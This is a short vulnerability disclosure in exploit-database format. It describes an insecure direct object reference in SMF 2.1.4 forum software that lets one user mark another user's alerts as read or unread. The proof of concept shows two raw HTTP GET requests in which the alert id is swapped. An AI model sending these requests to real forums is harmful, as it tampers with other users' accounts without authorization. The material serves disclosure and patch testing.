smf-poc2.md

Exploit Title: SMF v2.1.4 - Insecure Direct Object Reference(IDOR)

Date: 25/7/2024

Vendor Homepage: https://github.com/SimpleMachines/SMF

Tested on: Debian Linux, Apache, Mysql

Vendor: SimpleMachines

Version: v2.1.4

Exploit Description:

SMF v2.1.4 suffers from IDOR - Broken Access Control Vulnerability allowing attackers to mark other user's alerts as read or unread(horizontal privilege escalation).

---------------------------------POC-----------------------------

GET /index.php?action=profile;u=2;area=showalerts;do=read;aid=3(CHANGE HERE);f05dbf50a54f=9fc74e4234f40571a49c23b1a0799b19 HTTP/1.1
Host: localhost:8410
...
Connection: keep-alive

GET /index.php?action=profile;u=2;area=showalerts;do=unread;aid=3(CHANGE HERE);f05dbf50a54f=9fc74e4234f40571a49c23b1a0799b19 HTTP/1.1
Host: localhost:8410
...
Connection: keep-alive